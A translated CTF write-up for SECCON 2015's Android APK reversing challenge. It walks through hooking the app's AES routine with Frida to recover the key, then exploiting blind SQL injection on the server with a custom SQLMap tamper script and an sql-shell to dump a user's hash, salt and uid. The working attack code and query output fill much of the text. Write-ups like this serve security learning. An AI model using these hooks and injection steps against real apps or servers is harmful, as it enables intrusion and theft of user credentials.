这是一道SECCON 2015 CTF挑战赛中“Android APK 逆向”的第二道题目,分值400。提示为:“key 就存储在应用程序中,但是你需要hack掉服务器。”
首先,我安装了APK文件想看看它到底能做什么,结果发现只有两个功能:注册和登录。这个应用程序的名称是“kr.repo.h2spice.yekehtmai”。
APK文件登录显示
在使用应用程序时,我发现当我在“电子邮件”栏输入一个单引号时,消息框中会显示有个JSON错误。这表明服务器或许存在SQL注入漏洞。尽管,我很快意识到这是个盲注。这样一来,如果在这个安卓程序中打字输入的话,就太麻烦了。
我设置了一个代理用来记录HTTP流量,应用程序是通过纯HTTP进行通信的。但是POST数据参数以某种形式加密了。
下一步便是对APK文件进行反编译。我使用了dex2jar,并在JD-GUI中加载了JAR文件来查看反编译类。通过观察代码,我发现这些类似乎被混淆过。
之后,我看到“kr.repo.h2spice.yekehtmai.c”这个类,在ECB模式中给出了一个AES加密算法。这个类在登录或者注册的过程中会被调用。方法“a”接受两个参数——可能是明文的POST参数和AES的key。
AES密钥并非静态保存于应用程序当中,而是通过大量其他“编码/加密”过程进行混淆的。此刻,我在思考我的选择:要么使用一个调试器,注入一些smali代码,或者我可以使用动态插桩。附加一个调试器可能会更麻烦:使用APKtool工具能够将APK反编译成smali,然后使用调试信息重新打包APK文件,通过调试模式下的IDE运行这个应用程序。注入smali代码同样需要我重新打包APK。幸运的是,Frida 支持动态插桩,使用Frida你能够在包括安卓在内的许多平台上使用JavaScript来 hook 代码。
Dalvik.perform(function () { var c = Dalvik.use("kr.repo.h2spice.yekehtmai.c") c.a.implementation = function (str1, str2) { console.log("String1: " + str1) console.log("String2: " + str2) } });
在安卓设备中启动frida服务,然后运行frida -Ukr.repo.h2spice.yekehtmai并加载JavaScript hook代码:
现在,当我们去登陆时,就可以看到会调用加密过程对参数进行加密并将日志信息记录在控制台中。我试着使用“test”分别作为用户名和密码,之后成功获取到了用于加密POST参数的AES加密密钥“3246847986364861”
这时我们可以很容易地将我们的POST参数加密以便利用SQL注入。由于是盲注,我便采用了SQLMap。它的一个特性是可以使用篡改数据的脚本,你便可以在它们被送到服务器之前利用Python脚本修改参数。
#!/usr/bin/env python from lib.core.data import kb from lib.core.enums import PRIORITY import base64 from Crypto.Cipher import AES BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) class AESCipher: def __init__( self, key ): self.key = key def encrypt( self, raw ): raw = pad(raw) cipher = AES.new( self.key, AES.MODE_ECB) return base64.b64encode( cipher.encrypt( raw ) ) __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = AESCipher("3246847986364861").encrypt(payload) return retVal
现在我们使用SQLMap进行执行注入。如sqlmap.py -u "hxxp://apkhost/login.php" –data="email=xxx&password=xxx" –tamper=seccon –sql-shell,SQLMap检测到这是一个基于时间的盲注:但是这个过程将会很缓慢。我给定了一个基于非时间型的选项,这或许是一个很好的技巧。
我使用SQLMap dump出了当前数据库的名称,用以确认一个“users”表的存在,并枚举列表中的列,我开始在“users”表中查询第一条数据,有可能是管理员账户,并发现了用户“iamthekey”。
> SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name="users" and table_schema="seccon2015" [*] id,unique_id,name,email,encrypted_password,salt,created_at,updated_at > SELECT name FROM users WHERE length(name)>1 ORDER BY id ASC LIMIT 1 [*] iamthekey > SELECT id,unique_id,email,encrypted_password,salt FROM users where name="iamthekey" LIMIT 1 [*] 4, a159c1f7097ba80403d29e7, iamthekey@2015.seccon.jp, MQL7ZF5Ec5uehudP0L0t//zZwykyNGYxMjgyNDAz, 24f1282403
现在,即使有了这些信息我仍然不知道下一步该做什么。让我们回想一下提示“密码存在应用程序之中”,我重新反编译APK代码。然后,我注意到“welcomeActivety”类。
基于当前使用的“uid”字符串,应用程序会尝试解密字符串“fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4=”。果然,我们需要使用“iamthekey”用户的“uid”去解密。
现在我们需要搞清楚的就是“uid”字符串中哪个子字符串是我们所需要的。由于“uid”只有 23个字符长度,但是我们需要 16 个字符长度的 AES 密钥(字符块大小为16),所以我们只能自己动手来构造了。
from Crypto.Cipher import AES import base64 uid = "a159c1f7097ba80403d29e7" raw = base64.b64decode("fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4=") for i in range(7): print AES.new(uid[i:i+16], AES.MODE_ECB).decrypt(raw)
然后运行Python脚本:
$ python decrypt.py | strings SECCON{6FgshufUTpRm}
啊哈,这就是我们想要得到的flag!:p
*原文地址: cedricvb ,小太阳花编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)